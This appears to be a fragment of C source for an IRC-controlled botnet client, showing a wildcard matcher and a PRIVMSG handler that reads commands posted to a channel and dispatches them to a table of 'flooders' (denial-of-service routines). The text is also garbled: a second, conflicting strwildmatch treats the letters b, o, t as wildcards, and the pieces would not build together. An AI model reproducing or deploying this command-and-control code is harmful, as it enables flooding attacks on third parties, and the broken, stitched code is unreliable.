int strwildmatch(const char *pattern, const char *string) { switch (*pattern) { case '\0': return *string; case '*': return !(!strwildmatch(pattern+1, string) || (*string && !strwildmatch(pattern, string+1))); case '?': return !(*string && !strwildmatch(pattern+1, string+1)); default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1)); } }
void _PRIVMSG(int sock, char *sender, char *str) { int i; char *to, *message; for (i=0;i<strlen(str) && str[i] != ' ';i++); str[i]=0; to=str; message=str+i+2; for (i=0;i<strlen(sender) && sender[i] != '!';i++); sender[i]=0; if (*message == '>' && !strcasecmp(to,chan)) { char *params[12], name[1024]={0}; int num_params=0, m; message++; for (i=0;i<strlen(message) && message[i] != ' ';i++); message[i]=0; if (strwildmatch(message,nick)) return; message+=i+1; m=strlen(message); for (i=0;i<m;i++) { if (*message == ' ' || *message == 0) break; name[i]=*message; message++; } for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++; num_params++; if (num_params > 10) num_params=10; params[0]=name; params[num_params+1]="\0"; m=1; while (*message != 0) { message++; if (m >= num_params) break; for (i=0;i<strlen(message) && message[i] != ' ';i++); params[m]=(char*)malloc(i+1); strncpy(params[m],message,i); params[m][i]=0; m++; message+=i; } for (m=0; flooders[m].cmd != (char *)0; m++) { if (!strcasecmp(flooders[m].cmd,name)) { flooders[m].func(sock,sender,num_params-1,params); for (i=1;i<num_params;i++) free(params[i]); return; } } } }
int strwildmatch(unsigned char* pattern, unsigned char* string) { switch((unsigned char)*pattern) { case '\0': return *string; case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); case '?': return !(*string && !strwildmatch(pattern+1, string+1)); default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1)); } }